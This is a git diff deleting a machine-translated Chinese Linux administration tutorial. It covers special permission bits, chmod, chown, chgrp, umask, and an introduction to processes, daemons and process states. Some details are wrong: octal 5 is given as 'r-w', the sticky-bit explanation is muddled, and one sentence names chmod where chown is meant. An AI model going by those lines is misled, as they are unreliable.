在某些情况下,特别是在用户模拟情况下,访问权限可能涉及一些特殊的权限属性。 让我们来看看它们。 - -### 特殊权限 - -在 Linux 中,文件和目录的所有权通常由创建它们的用户或组的 UID 和 GID 决定。 同样的原则也适用于应用和进程——它们由启动它们的用户拥有。 特殊权限用于在需要时更改此默认行为。 - -下面是特殊的权限标志,以及它们各自的八进制值: - -* `setuid`:2 ^ 2 =`4`(bit 2 set) -* `setgid`:2 ^ 1 =`2`(位 1 组) -* `sticky`:2 ^ 0 =`1`(位 0 设置) - -当设置了这些特殊位的任何一个时,访问权限的总八进制数将有一个额外的数字,前导(高阶)数字对应于特殊的权限的八进制值。 - -让我们来看看这些特殊的权限标志,并分别提供示例。 - -#### setuid 许可 - -通过设置`setuid`位,当可执行文件启动时,它将以文件所有者的特权而不是启动它的用户的特权运行。 例如,如果可执行文件归`root`所有,并由*常规*用户启动,则它将以`root`特权运行。 当使用不当或可能利用底层进程的漏洞时,`setuid`权限可能会带来潜在的安全风险。 - -在文件访问权限字段中,`setuid`位可以有以下任一表示: - -* `s`*替换*对应的可执行位(`x`)(当可执行位存在时) -* `S`(大写`S`)表示非可执行文件 - -`setuid`权限可以通过以下`chmod`命令设置(例如,对于`myscript`可执行文件): - -```sh -chmod u+s myscript -``` - -结果文件权限显示在这里(包括八进制值):`-rwsrwxr-x`(`4775`)。 下面是相关的命令行输出: - -![Figure 4.32 – The setuid permission](img/B13196_04_32.jpg) - -图 4.32 - setuid 权限 - -有关`setuid`的更多信息,请访问[https://en.wikipedia.org/wiki/Setuid](https://en.wikipedia.org/wiki/Setuid)或参考`chmod`命令行实用工具文档(`man chmod`)。 - -#### setgid 许可 - -虽然`setuid`控制用户模拟权限,但`setgid`对组模拟权限具有类似的效果。 - -位设置为`setgid`的可执行文件以拥有该文件的组的权限运行,而不是与启动该文件的用户相关联的组。 换句话说,进程的 GID 与文件的 GID 相同。 - -当在一个目录上使用`setgid`位时,该位将改变默认的所有权行为,即在目录中创建的文件将拥有父目录的组所有权,而不是与创建它们的用户相关联的组所有权。 当与父目录的所有者组相关联的所有用户都可以更改文件时,这种行为在文件共享的情况下就足够了。 - -`setgid`权限可以通过以下`chmod`命令设置(例如,对于`myscript`可执行文件): - -```sh -chmod g+s myscript -``` - -结果文件权限显示在这里(包括八进制值):`-rwxrwsr-x`(`2775`)。 - -命令行输出如下所示: - -![Figure 4.33 – The setgid permission](img/B13196_04_33.jpg) - -图 4.33 - setgid 权限 - -有关`setgid`的更多信息,请访问[https://en.wikipedia.org/wiki/Setuid](https://en.wikipedia.org/wiki/Setuid)或参考`chmod`命令行实用工具文档(`man chmod`)。 - -#### 粘性的许可 - -`sticky`位对文件没有影响位。 对于具有`sticky`权限的目录,只有该目录的用户属主或组属主才能删除或重命名该目录下的文件。 对目录具有写访问权限的用户或组,以用户或组的所有权方式,不能删除或修改目录中的文件。 当目录属于特权组,其成员共享对该目录中的文件的写访问权限时,`sticky`权限非常有用。 - -`sticky`权限可以通过以下`chmod`命令设置(例如,对于`mydir`目录): - -```sh -chmod +t mydir -``` - -得到的目录权限显示在这里(包括八进制值):`drwxrwxr-t`(`1775`)。 命令行输出如下所示: - -![Figure 4.34 – The sticky permission](img/B13196_04_34.jpg) - -图 4.34 - sticky 权限 - -有关`sticky`的更多信息,请访问[https://en.wikipedia.org/wiki/Setuid](https://en.wikipedia.org/wiki/Setuid)或参考`chmod`命令行实用工具文档(`man chmod`)。 - -到目前为止,我们主要关注权限类型及其表示。 在下一节中,我们将探讨用于更改权限的几个命令行工具。 - -### 改变权限 - -修改文件和目录的访问权限是 Linux 系统中常见的管理任务。 在本节中,我们将了解一些命令行实用程序,这些实用程序在更改文件和目录的权限和所有权时非常方便。 这些工具安装在任何现代 Linux 发行版中,它们在大多数 Linux 平台上的使用都是类似的。 - -#### 使用 chmod - -`chmod`命令是*更改模式*的缩写,用于设置文件和目录的访问权限。 `chmod`命令既可以由当前用户(所有者)使用,也可以由超级用户使用。 - -可以通过两种不同的模式来更改权限:相对模式和绝对模式。 让我们来看看每一个。 - -#### 以相对模式使用 chmod - -在相对模式中更改权限可能是中最容易的。 重要的是要记住以下几点: - -* *对于*我们更改权限的用户:`u`=用户(所有者),`g`=组,`o`=其他人 -* *如何*更改权限:`+`=添加,`-`=删除,`=`=完全相同 -* *更改*权限:`r`= read,`w`= write,`x`= execute - -让我们来看看在相对模式下使用`chmod`的几个例子。 - -在第一个示例中,我们想为所有*其他*(`o`)用户(*世界*)添加写入(`w`)权限到`myfile`,如下所示: - -```sh -chmod o+w myfile -``` - -相关的命令行输出如下所示: - -![Figure 4.35 – Setting write permissions to all other users](img/B13196_04_35.jpg) - -图 4.35 -设置所有其他用户的写权限 - -在下一个示例中,我们删除`myfile`的当前用户所有者(`u`)的读(`r`)和写(`w`)权限,如下: - -```sh -chmod u-rw myufile -``` - -命令行输出如下所示: - -![Figure 4.36 – Removing read-write permissions for owner](img/B13196_04_36.jpg) - -图 4.36 -删除所有者的读写权限 - -我们在前面的两个示例中都没有使用`sudo`,因为我们是以文件的当前所有者(`packt`)的身份执行操作的。 - -在下面的示例中,我们假设`myfile`对每个人都具有读、写和执行权限。 然后,我们进行以下更改: - -* 删除所有者(`u`)的读(`r`)权限。 -* 删除所有者(`u`)和组(`g`)的写权限(`w`)。 -* 删除所有其他人(`o`)的读(`r`)、写(`w`)和执行(`x`)权限。 - -下面的代码片段说明了这一点: - -```sh -chmod u-r,ug-w,o-rwx myfile -``` - -命令行输出如下所示: - -![Figure 4.37 – A relatively complex invocation of chmod in relative mode](img/B13196_04_37.jpg) - -图 4.37 -相对模式下 chmod 的相对复杂调用 - -接下来,让我们看看更改权限的第二种方法:在`absolute`模式下使用`chmod`命令行实用程序,通过指定与访问权限对应的八进制数。 - -#### 使用 chmod 的绝对模式 - -`chmod`的`absolute`模式调用使用*八进制*数一次更改所有权限属性。 此方法的*绝对*指定是由于更改权限而没有对现有权限的任何引用,只需简单地分配与访问权限对应的八进制值。 - -下面是有效权限对应的八进制值的快速列表: - -* `7``rwx`:读、写、执行 -* `6``rw-`:读,写 -* `5``r-w`:读,执行 -* `4``r--`:读 -* `3``-wx`:写,执行 -* `2``-w-`:写 -* `1``--x`:执行 -* `0``---`:无权限 - -在下面的示例中,我们将`myfile`的权限更改为对所有人的读(`r`)、写(`w`)和执行(`x`)权限: - -```sh -chmod 777 myfile -``` - -相关的更改通过以下命令行输出说明: - -![Figure 4.38 – The chmod invocation in absolute mode](img/B13196_04_38.jpg) - -图 4.38 -绝对模式下的 chmod 调用 - -有关`chmod`命令的更多信息,请参考相关文档(`man chmod`)。 - -现在让我们看看下一个命令行实用程序,它专门用于更改文件和目录的所有权。 - -#### 使用乔恩 - -`chown`命令用于设置文件和目录的所有权。 通常,`chmod`命令只能使用*超级用户*特权(即通过*sudoer*)运行。 普通用户只能更改其文件的*组*所有权,且仅当他们是目标组的成员时。 - -下面显示了`chown`命令的语法: - -```sh -chown [OPTIONS] [OWNER][:[GROUP]] FILE -``` - -通常,我们使用用户*和*组所有权调用`chown`命令—例如,如下所示: - -```sh -sudo chown julian:developers myfile -``` - -相关的命令行输出如下所示: - -![Figure 4.39 – A simple invocation of the chown command](img/B13196_04_39.jpg) - -图 4.39 - chown 命令的简单调用 - -`chown`最常见的用途之一是通过`-R, --recursive`选项用于*递归模式*调用。 下面的示例将`mydir`(目录)中最初属于 root 的所有文件的所有权权限更改为`julian`: - -```sh -sudo chown -R julian:julian mydir/ -``` - -相关修改如下所示: - -![Figure 4.40 – Invoking ls and chown in recursive mode](img/B13196_04_40.jpg) - -图 4.40 -以递归模式调用 ls 和 chown - -有关`chown`命令的更多信息,请参考相关文档(`man chown`)。 - -接下来,让我们简要地看一下一个类似的命令行实用程序,它专门用于更改组所有权。 - -#### 使用 chgrp - -`chgrp`命令用于更改文件和目录的*组*的所有权。 在 Linux 中,文件和目录通常属于一个用户(所有者)或一个组。 我们可以使用`chown`命令行实用程序设置用户所有权,而可以使用`chgrp`设置组所有权。 - -`chgrp`的语法如下: - -```sh -chgrp [OPTIONS] GROUP FILE -``` - -下面的示例将`myfile`的组所有权更改为`developers`组: - -```sh -sudo chgrp developers myfile -``` - -这些变化如下所示: - -![Figure 4.41 – Using chgrp to change group ownership](img/B13196_04_41.jpg) - -图 4.41 -使用 chgrp 更改组所有权 - -由于当前用户(`packt`)不是`developers`组的管理员,所以使用超级用户权限(`sudo`)调用了前面的命令。 - -有关`chgrp`实用程序的更多信息,请参考该工具的命令行帮助(`chgrp --help`)。 - -#### 使用 umask - -`umask`命令用于查看或设置系统默认的*文件模式掩码*。 文件模式表示用户创建的任何新文件和目录的默认权限。 例如,Ubuntu 中的默认文件模式掩码如下: - -* `0002`为普通用户 -* `0022`为`root`用户 - -作为 Linux 中的一般规则,新文件和目录的*默认权限*用以下公式计算: - -* `0666 – umask`:普通用户创建的新文件 -* `0777 – umask`:普通用户创建的新目录 - -根据前面的公式,在 Ubuntu 上我们有以下默认权限: - -* 文件(普通用户):`0666 – 0002 = 0664` -* 目录(普通用户):`0777 – 0002 = 0775` -* 文件(`root`):`0666 – 0022 = 0644` -* 目录(`root`):`0777 – 0022 = 0755` - -在下面的例子中,运行在 Ubuntu 上,我们使用一个普通用户(`packt`)的终端会话创建一个文件(`myfile`)和一个目录(`mydir`)。 然后,我们查询每个和的`stat`命令,验证默认权限与前面为普通用户(文件:`664`,目录:`775`)枚举的值匹配。 - -让我们先从默认文件权限开始,如下所示: - -```sh -touch myfile -stat --format '%a' myfile -``` - -相关输出如下所示: - -![Figure 4.42 – The default file permissions for regular user (664)](img/B13196_04_42.jpg) - -图 4.42 -普通用户的默认文件权限(664) - -接下来,让我们验证默认目录权限,如下所示: - -```sh -mkdir mydir -stat --format '%a' mydir -``` - -相关输出如下所示: - -![Figure 4.43 – The default directory permissions for regular user (775)](img/B13196_04_43.jpg) - -图 4.43 -普通用户的默认目录权限(775) - -下面是 Linux 系统上最典型的`umask`值列表: - -![Figure 4.44 – Typical umask values on Linux](img/B13196_04_44.jpg) - -图 4.44 - Linux 上典型的 umask 值 - -有关`umask`实用程序的更多信息,请参考该工具的命令行帮助(`umask --help`)。 - -文件和目录权限对于安全环境至关重要。 用户和进程应该完全在由权限控制的隔离和安全约束范围内操作,以避免无意或故意干扰系统资源的使用和所有权。 - -解释权限可能是一项艰巨的任务。 本节的目的是澄清一些相关的复杂之处,我们希望您在日常 Linux 管理任务中处理文件和目录权限时会感到更舒服。 - -# 总结 - -在本章中,我们探讨了 Linux 中与管理用户和组相关的一些基本概念。 我们了解了文件和目录权限以及多用户环境的不同访问级别。 对于每个主要主题,我们关注基本的管理任务,提供各种实际示例,并使用典型的命令行工具进行日常的用户访问和权限管理操作。 - -管理用户和组以及相关的文件系统权限是 Linux 管理员不可或缺的技能。 我们希望,在本章中获得的知识将使你走上成为一个熟练的超级用户的轨道。 - -在下一章中,我们将通过探索进程、守护进程和进程间通信机制,继续我们掌握 Linux 内部机制的旅程。 需要记住的一个重要方面是,进程和守护进程也由用户或组拥有。 在本章中学习的技能将帮助我们在研究系统中任何给定时间的*谁运行什么*时导航相关领域。 - -# 问题 - -以下是总结本章主要内容的一些想法和问题: - -1. Linux 是一个多用户和多任务操作系统。 权限提供了相关的隔离和安全上下文,以保护用户资源免受无意访问。 -2. 什么是超级用户? -3. 考虑一个用于创建用户的命令行实用程序。 你能想到另外一个吗? -4. `-rw-rw-r—`访问权限的八进制值是多少? -5. 主要群体和次要(补充)群体有什么区别? -6. 如何更改用户的主目录的所有权? -7. 可以在不删除主目录的情况下将用户从系统中删除吗? 如何?******* \ No newline at end of file diff --git a/docs/master-linux-admin/05.md b/docs/master-linux-admin/05.md deleted file mode 100644 index 7803e19b..00000000 --- a/docs/master-linux-admin/05.md +++ /dev/null @@ -1,1119 +0,0 @@ -# 五、处理进程、守护进程和信号 - -Linux 是一个多任务操作系统。 多个程序或任务可以并行运行,每个程序或任务都有自己的标识、调度、内存空间、权限和系统资源。 进程封装了任何此类程序的执行上下文。 对于任何经验丰富的 Linux 系统管理员和开发人员来说,理解进程如何工作和相互通信是一项重要的技能。 - -本章探讨 Linux 进程背后的基本概念。 我们将研究不同类型的进程,例如前台进程和后台进程,特别强调将守护进程作为一种特定类型的后台进程。 我们将仔细研究进程的结构以及 Linux 中的各种进程间通信机制——特别是信号。 在此过程中,我们将了解一些用于管理进程和守护进程以及处理信号的基本命令行实用程序。 - -在本章中,我们将涵盖以下主题: - -* 介绍流程 -* 处理流程 -* 使用守护进程 -* 探索进程间通信 - -当我们浏览内容时,我们偶尔会在本章下半部分正式介绍之前引用**信号***。 在 Linux 中,信号几乎只与进程相关,因此我们首先要熟悉进程。 然而,将一些进程内部的信号排除在外会对理解进程的工作方式造成损害。 我们希望这里采取的折衷办法能让您更好地理解进程和守护进程的整体情况以及内部工作方式。 在提到信号的地方,我们将指向相关部分以作进一步参考。* - -现在,在我们开始之前,让我们看看我们研究的必要先决条件。 - -# 技术要求 - -熟能生巧。 手动运行本章中的命令和示例对您了解进程大有帮助。 与本书的任何章节一样,我们建议您在 VM 或 PC 桌面平台上安装一个可用的 Linux 发行版。 我们将使用 Ubuntu 或 CentOS,但大多数命令和示例在任何其他 Linux 平台上都是类似的。 - -本章的代码文件可以在 GitHub 上的以下链接找到:[https://github.com/PacktPublishing/Mastering-Linux-Administration](https://github.com/PacktPublishing/Mastering-Linux-Administration)。 - -# 流程介绍 - -**进程**表示程序的运行实例。 一般来说,程序是指令和数据的组合,编译成一个可执行单元。 当程序运行时,就会创建一个进程。 换句话说,一个过程就是一个运行中的程序。 进程执行特定的任务,有时也称为**作业**(或**任务**)。 - -有许多创建或启动进程的方法。 在 Linux 中,每个命令都启动一个进程。 命令可以是终端会话中的用户发起的任务、脚本或手动或自动调用的程序(可执行)。 - -通常,流程的创建以及与系统(或用户)交互的方式决定了其流程类型。 让我们仔细看看 Linux 中不同类型的进程。 - -## 了解流程类型 - -在较高的层次上,Linux 中有两种主要的进程类型: - -* **前台**(T2】交互式) -* **背景**(*非交互式*或*自动化*) - -交互流程假定在流程的生命周期内存在某种类型的用户交互。 非交互式进程是无人参与的,这意味着它们要么是自动启动的(例如,在系统引导时),要么是通过作业调度程序(例如,使用`at`和`cron`命令行实用程序)安排在特定时间和日期运行。 - -我们研究过程类型的方法主要围绕前面的分类。 围绕进程定义还有各种其他视图或分类法,但它们最终可以简化为前台或后台进程。 - -例如,批处理进程和守护进程本质上是后台进程。 批处理是自动化的,因为它们不是用户生成的,而是由计划任务调用的。 守护进程是后台进程,通常在系统引导期间启动,并无限期地运行。 - -还有父进程和子进程的概念。 父进程可以创建其他从属的子进程。 - -我们将在下面几节中详细介绍这些类型(以及其他内容)。 让我们从关键的进程开始——前台进程和后台进程。 - -### 前台进程 - -**前台进程**,也称为**交互进程**,通过终端会话启动并控制。 前台进程通常由用户通过交互式命令行界面发起。 前台进程可以将结果输出到控制台(`stdout`或`stderr`)或接受用户输入。 前台进程的生命周期与 Terminal 会话(父进程)紧密耦合。 如果启动前台进程的用户在进程仍在运行时退出终端,进程将被突然终止(通过父进程发送的`SIGHUP`信号; 更多细节请参见*信号*部分。 - -前台进程的一个简单示例是为任意 Linux 命令(例如`ps`)调用系统参考手册(`man`): - -```sh -man ps -``` - -`ps`命令用来显示当前活动的进程信息。 您将在*进程管理*部分了解更多关于进程管理工具和命令行实用工具的信息。 - -一旦前台进程被启动,用户提示将被派生的进程界面捕获和控制。 在交互进程将控制权交还给终端会话之前,用户不能再与初始命令提示符进行交互。 下面的屏幕截图显示了`man ps`命令的调用,将用户控件切换到文档界面: - -![Figure 5.1 – Example of an interactive process (man ps)](img/B13196_05_01.jpg) - -图 5.1 -交互式流程示例(man ps) - -让我们来看另一个前台进程的示例,这一次调用一个长期存在的任务。 下面的命令(一行程序)运行一个无限循环,同时每隔几秒显示一条任意消息: - -```sh -while true; do echo "Wait..."; sleep 5; done -``` - -只要命令在不中断的情况下运行,用户在终端中就不会有交互式提示符。 使用*Ctrl*+*C*将停止(中断)相关前台进程的执行,并产生一个响应性的命令提示符: - -![Figure 5.2 – A long-lived foreground process](img/B13196_05_02.jpg) - -图 5.2 -一个长期存在的前台进程 - -重要提示 - -当前台进程运行时,按下*Ctrl*+*C*,当前(父)终端会话向正在运行的进程发送`SIGINT`信号,前台进程被中断。 要了解更多信息,请参见*信号*部分。 - -如果我们希望在运行特定命令或脚本时在 Terminal 会话中维护一个交互式命令提示符,我们应该使用后台进程。 - -### 后台进程 - -**后台进程**-也称为**非交互的**或**自动进程**-独立于终端会话运行,不需要任何用户交互。 用户可以在同一个终端会话中调用多个后台进程,而无需等待其中任何一个进程完成或退出。 - -后台进程通常是长期存在的任务,不需要用户直接监督。 相关的进程仍然可以在终端控制台中显示它的输出,但是这些后台任务通常会将它们的结果写入文件。 - -后台进程的最简单调用是在相关命令的末尾附加一个“&”(`&`)。 在前面的示例(在*前台进程*部分)的基础上,下面的命令创建了一个运行无限循环的后台进程,每隔几秒回显一条任意消息: - -```sh -while true; do echo "Wait..."; sleep 5; done & -``` - -注意命令末尾的与符号(`&`)。 默认情况下,当使用&号(`&`)调用时,后台进程仍然将输出(`stdout`和`stderr`)指向控制台,如上所示。 然而,终端会话仍然是交互式的: - -![Figure 5.3 – Running a background process](img/B13196_05_03.jpg) - -图 5.3 -运行后台进程 - -如上截图所示,后台进程被赋予`109639`的**进程 ID**(**PID**)。 当进程运行时,我们仍然可以控制 Terminal 会话并运行不同的命令,像这样: - -```sh -echo "We still have an interactive prompt..." -``` - -最后,我们可以使用`kill`命令强制终止进程: - -```sh -kill -9 109639 -``` - -前面的命令*终止*我们的后台进程(PID`109639`)。 父终端会话发送的用来终止该进程的相应信号是`SIGKILL`(有关更多信息,请参见*Signals*部分)。 - -前台和后台进程通常都在用户的直接控制下。 换句话说,这些进程是通过命令或脚本调用手工创建或启动的。 这条规则也有一些例外,特别是在批处理过程中,批处理过程是通过调度作业自动启动的。 - -还有一类后台进程在系统启动时自动启动,在关闭时自动终止,无需用户监督。 这些后台进程也称为守护进程。 - -### 引入守护进程 - -守护进程是一种特殊类型的后台进程,通常在系统引导时启动,并无限期运行或直到终止(例如,在系统关闭期间)。 守护进程没有用户控制的终端,即使它与系统帐户(`root`或其他)相关联,并使用相关的特权运行。 - -守护进程通常服务于客户端请求或与其他前台或后台进程通信。 以下是一些守护进程的常见例子,通常在大多数 Linux 平台上可用: - -* `systemd`:所有进程的父进程(以前称为`init`) -* `crond`:任务调度程序——在后台运行任务 -* `ftpd`:FTP 服务器-处理客户端 FTP 请求 -* `httpd`:Web 服务器(Apache)——处理客户端 HTTP 请求 -* `sshd`:安全外壳服务器-处理 SSH 客户端请求 - -通常,Linux 中的系统守护进程以`d`结尾命名,表示一个守护进程。 守护进程由 shell 脚本控制,这些脚本通常存储在`/etc/init.d/`或`/lib/systemd/`系统目录中,具体取决于 Linux 平台。 例如 Ubuntu 将 daemon 脚本文件存储在`/etc/init.d/`中,而 CentOS 将它们存储在`/lib/systemd/`中。 这些守护文件的位置取决于`init`的平台实现,`init`是所有 Linux 进程的系统范围服务管理器。 - -Linux`init`风格的启动过程通常在系统启动时调用这些 shell 脚本。 但是,同样的脚本也可以通过服务控制命令(通常由特权系统用户运行)来调用,以管理特定守护进程的生命周期。 换句话说,特权用户或系统管理员可以通过命令行界面*停止*或*启动*特定的守护进程。 这些命令会立即将用户的控制返回给终端,同时在后台执行相关操作。 - -让我们仔细看看`init`过程。 - -### init 进程 - -在本章中,我们将把`init`作为 Linux 平台上的*通用*系统初始化引擎和服务管理器。 多年来,Linux 发行版已经发展并经历了各种各样的`init`系统实现,例如`SysV`、`upstart`、`OpenRC`、`systemd`和`runit`。 在 Linux 社区中,一直有一场关于二者孰优孰优的争论。 现在,我们将简单地将`init`视为一个系统过程,并且我们将简要地看一下它与其他过程的关系。 - -`init`(或`systemd`等)本质上是一个系统守护进程,它是 Linux 引导时首先启动的进程之一。 相关的守护进程继续在后台运行,直到系统关闭。 `init`是整个进程层次树中 Linux 中所有其他进程的根(父)进程。 换句话说,`init`是系统中所有进程的直接或间接祖先。 - -在 Linux 中,`pstree`命令显示整个进程树,并显示`init`进程在其根; 在我们的例子中,`systemd`(在 Ubuntu 或 CentOS 上): - -```sh -Pstree -``` - -上述命令的输出如下截图所示: - -![Figure 5.4 – init (systemd), the parent of all processes](img/B13196_05_04.jpg) - -图 5.4 - init (systemd),所有进程的父进程 - -`pstree`命令的输出说明了进程的层次树表示,其中一些显示为父进程,而另一些显示为子进程。 让我们看看父流程和子流程类型以及它们之间的一些动态。 - -### 父进程和子进程 - -父进程创建其他从属进程,也称为子进程。 子进程属于生成它们的父进程,并且通常在父进程退出(停止执行)时终止。 如果父进程在终止时(例如通过`nohup`命令)被指示忽略父进程调用的`SIGHUP`信号,那么子进程可能会在父进程的生命周期之后继续运行。 更多信息请参见*信号*部分。 - -在 Linux 中,除了`init`进程(及其变体)之外的所有进程都是特定进程的子进程。 终止一个子进程不会停止相关父进程的运行。 当子进程完成处理时终止父进程的一个良好实践是,在子进程完成之后从父进程本身退出。 - -在某些情况下,进程会根据特定的时间表在无人值守的情况下运行。 在没有用户交互的情况下运行进程称为批处理。 下面我们来看看批处理过程。 - -### 批处理进程 - -批处理进程通常是一个脚本或命令,被安排在特定的日期和时间运行,可能是周期性的。 换句话说,批处理是作业调度器产生的一个后台进程。 在大多数常见情况下,批处理是资源密集型任务,通常安排在较繁忙的时间内运行,以避免系统过载。 在 Linux 上,最常用的作业调度工具是`at`和`cron`。 `cron`更适合于计划任务管理的复杂性,而`at`是一个更轻量级的实用程序,更适合于一次性任务。 对这些命令的详细研究超出了本章的范围。 您可以参考相关的系统参考手册获取更多信息(`man at`和`man cron`)。 - -我们将以孤儿进程和僵死进程来结束对进程类型的研究。 - -### 孤儿进程和僵死进程 - -当子进程终止时,相关的父进程会收到`SIGCHILD`信号。 父进程可以继续运行其他任务,也可以选择生成另一个子进程。 然而,可能存在父进程在相关子进程完成执行(或退出)之前被终止的情况。 在本例中,子进程成为**孤儿**进程。 在 Linux 中,`init`进程——所有进程的父进程——自动成为野进程的新父进程。 - -**僵尸进程(也称为**已经**流程)引用的过程已经完成了执行(退出)但仍挥之不去的系统过程表(根据`ps`命令)。** - -僵死进程和野进程之间主要的区别在于,僵死进程已经死亡(终止),而野进程仍在运行。 - -当我们区分不同的流程类型及其行为时,相关信息的重要部分反映在流程本身的组成或数据结构中。 在下一节中,我们将仔细研究进程的组成,这主要是通过`ps`命令行实用程序来实现的——这是 Linux 系统上一个普通但非常有用的进程资源管理器。 - -## 过程的解剖 - -在本节中,我们将通过`ps`和`top`命令行实用程序来探讨 Linux 进程的一些常见属性。 我们希望采用基于这些工具的实用方法将帮助您更好地理解进程内部,至少从 Linux 管理员的角度来看是这样。 让我们先简单看一下这些命令。 `ps`命令用来显示系统进程的当前快照。 该命令的语法如下: - -```sh -ps [OPTIONS] -``` - -`top`命令提供系统中所有正在运行的进程的实时视图。 其语法如下: - -```sh -top [OPTIONS] -``` - -下面的命令显示当前 Terminal 会话拥有的进程: - -```sh -ps -``` - -上述命令的输出如下截图所示: - -![Figure 5.5 – Displaying processes owned by the current shell](img/B13196_05_05.jpg) - -图 5.5 -显示当前 shell 所拥有的进程 - -让我们看看输出的顶部(标题)行中的每个字段,并解释它们在相关流程的上下文中的含义; 也就是`bash`终端会话。 - -### PID - -Linux 中的每个进程在创建进程时都有一个由内核自动分配的 PID。 PID 是一个正整数,并且总是保证是唯一的。 - -在我们的例子中,相关的进程是`bash`(当前 shell), PID 为`171233`。 - -### TTY - -**TTY**是**电传打字机**的缩写,更通俗地说,是一种用于与系统交互的控制终端或设备。 在 Linux 进程的上下文中,TTY 属性表示进程与交互的终端类型。 在我们的示例中,代表终端会话的`bash`进程将`pts/0`作为其 TTY 类型。 **PTS**或`pts`表示**伪终端从机**,表示控制过程的输入类型—终端控制台。 `/0`表示相关 Terminal 会话的顺序。 例如,附加的 SSH 会话将具有`pts/1`,等等。 - -### 时间 - -`TIME`字段表示进程花费的累计 CPU 利用率(或时间)(格式为`[DD-]hh:mm:ss`)。 为什么在我们的示例中,`bash`流程的值为零(`00:00:00`)? 我们可能在终端会话中运行了多个命令,但 CPU 利用率可能仍然为零。 这是因为 CPU 利用率度量(并累积)每个命令花费的时间,而不是父终端会话的总体时间。 如果命令在几分之一秒内完成,那么在`TIME`字段中显示的 CPU 利用率不会很高。 - -让我们用下面的命令来产生一些明显的 CPU 利用率: - -```sh -while true; do x=1; done -``` - -如果我们让命令运行几秒钟,然后退出*Ctrl*+*C*,我们将得到以下结果: - -![Figure 5.6 – Producing a noticeable CPU utilization (TIME)](img/B13196_05_06.jpg) - -图 5.6 -产生明显的 CPU 利用率(时间) - -前面的命令运行一个紧凑的`while`循环,其中内核为处理分配所需的 CPU 周期。 我们需要记住,`while`循环是组成命令的简单指令序列,它不会创建进程。 随后的(相对繁重的)命令在当前 shell 中运行。 因此,相关的 CPU 利用率占`bash`进程的比例。 - -### CMD - -`CMD`字段代表,表示创建进程的命令(包括参数)的名称或完整路径。 对于众所周知的系统命令(例如`bash`),CMD 显示命令的名称,包括它的参数。 - -到目前为止,我们所探讨的进程属性代表了一个相对简单的 Linux 进程视图。 有些情况下,我们可能需要更多的信息。 例如,下面的命令提供了关于当前 Terminal 会话中运行的进程的额外详细信息: - -```sh -ps -l -``` - -`-l`选项参数为`ps`输出调用所谓的*长格式*: - -![Figure 5.7 – A more detailed view of processes](img/B13196_05_07.jpg) - -图 5.7 -更详细的过程视图 - -下面是`ps`命令的一些更相关的输出字段: - -* `F`:进程标志(例如,`0`- none,`1`- fork,`4`-超级用户权限) -* `S`:进程状态代码(例如,`R`—正在运行,`S`—可中断睡眠,等等) -* `UID`:进程的用户名或所有者 -* `PID`:进程 ID -* `PPID`:父进程 ID -* `PRI`:进程的优先级(数字越大优先级越低) -* `SZ`:虚拟内存使用率 - -还有很多这样的属性,探索它们都超出了本书的范围。 更多信息请参考`ps`系统参考手册(`man ps`)。 - -到目前为止,我们使用的`ps`命令示例只显示了当前 Terminal 会话所拥有的进程。 我们认为,这种方法将减少分析流程属性的复杂性。 `ps`命令显示的许多进程输出字段也反映在`top`命令中,尽管其中一些字段的符号略有不同。 - -让我们看看`top`命令以及显示的输出字段的含义。 查看进程运行的实时视图。 - -```sh -top -``` - -上述命令的输出如下截图所示: - -![Figure 5.8 – A real-time view of the current processes](img/B13196_05_08.jpg) - -图 5.8 -当前进程的实时视图 - -以下是部分输出字段,简要说明: - -* `USER`:进程的用户名或所有者。 -* `PR`:进程的优先级(数字越小,优先级越高)。 -* `NI`:进程的良好价值(一种动态/自适应优先级)。 -* `VIRT`:虚拟内存大小(KB) -进程使用的总内存。 -* `RES`:驻留内存大小(以 KB 为单位)-进程使用的物理(未交换)内存。 -* `SHR`:共享内存大小(以 KB 为单位)——与其他进程共享的进程内存的子集。 -* `S`:进程状态(例如,`R`—正在运行,`S`—可中断睡眠,`I`—空闲,等等)。 -* `%CPU`:CPU 使用率(百分比)。 -* `%MEM`:`RES`内存使用率(百分比)。 -* `COMMAND`:命令名或命令行。 - -这些字段中的每一个(以及更多)在`top`系统参考手册(`man top`)中都有详细说明。 - -每天,Linux 管理任务经常使用基于上述字段的与进程相关的查询。 *处理进程*部分将探讨`ps`和`top`命令以及其他命令的一些更常见用法。 - -进程生命周期的一个基本的方面是进程在任何给定时间的**状态**(或**状态**)以及这些状态之间的转换。 `ps`和`top`命令都通过`S`字段提供关于进程状态的信息。 让我们仔细看看这些状态。 - -### 进程状态 - -在其生命周期内,进程可以根据环境改变状态。 根据`ps`和`top`命令的`S`(status)字段,Linux 进程可以有以下任一状态: - -* `D`:不被打扰的睡眠 -* `I`:空闲 -* `R`:跑步 -* `S`:睡眠(可中断睡眠) -* `T`:作业控制信号停止 -* `t`:在跟踪期间被调试器停止 -* `Z`:僵尸 - -在较高的级别上,这些状态中的任何一个都可以与以下进程状态相识别: - -* 运行 -* 等待 -* 停止 -* 僵尸 - -下面几节将简要描述每一种状态。 在相关的地方,将根据`ps`和`top`命令提供相应的`S`字段状态属性。 - -#### 运行状态 - -进程当前正在运行(状态为`R`)或处于空闲进程(状态为`I`)。 在 Linux 中,空闲的进程是分配给系统中每个处理器(CPU)的特定任务,并且只在相关 CPU 上没有其他进程运行时被调度运行。 在空闲任务中花费的时间占了`top`命令报告的空闲时间。 - -#### 等待状态 - -进程正在等待一个特定的事件或资源。 有两种类型的等待状态:可中断睡眠(`S`状态)和不可中断睡眠(`D`状态)。 可中断的睡眠可以被特定的进程信号干扰,从而产生进一步的进程执行。 另一方面,不可中断睡眠是进程在系统调用中被阻塞的一种状态(可能是等待某些硬件条件),并且它不能被中断。 - -#### 停止状态 - -进程停止执行,通常是由于特定的信号——作业控制信号(`T`状态)或调试信号(`t`状态)。 - -#### 僵尸状态 - -进程已停止或死亡(状态为`Z`)—它在未被其父进程获取的情况下被终止。 僵死的进程实质上是系统进程表中已经终止的进程的一个死引用。 您可以在*孤儿进程和僵死进程*部分了解更多信息。 - -为了结束我们对进程状态的分析,让我们看看一个 Linux 进程的生命周期。 通常,进程以运行状态(`R`)开始,并在其父进程从僵死状态(`Z`)获得它后终止。 下面的图表提供了流程状态和它们之间可能的转换的简图: - -![Figure 5.9 – The lifetime of a Linux process](img/B13196_05_09.jpg) - -图 5.9 - Linux 进程的生命周期 - -既然已经介绍了流程,并为您提供了关于其类型和结构的初步概念,我们就准备好与它们交互了。 在下面几节中,我们将探讨一些用于处理进程和守护进程的标准命令行实用程序。 这些工具大多使用输入和输出数据进行操作,我们在*剖析*节中介绍了这些数据。 接下来我们将讨论如何使用流程。 - -# 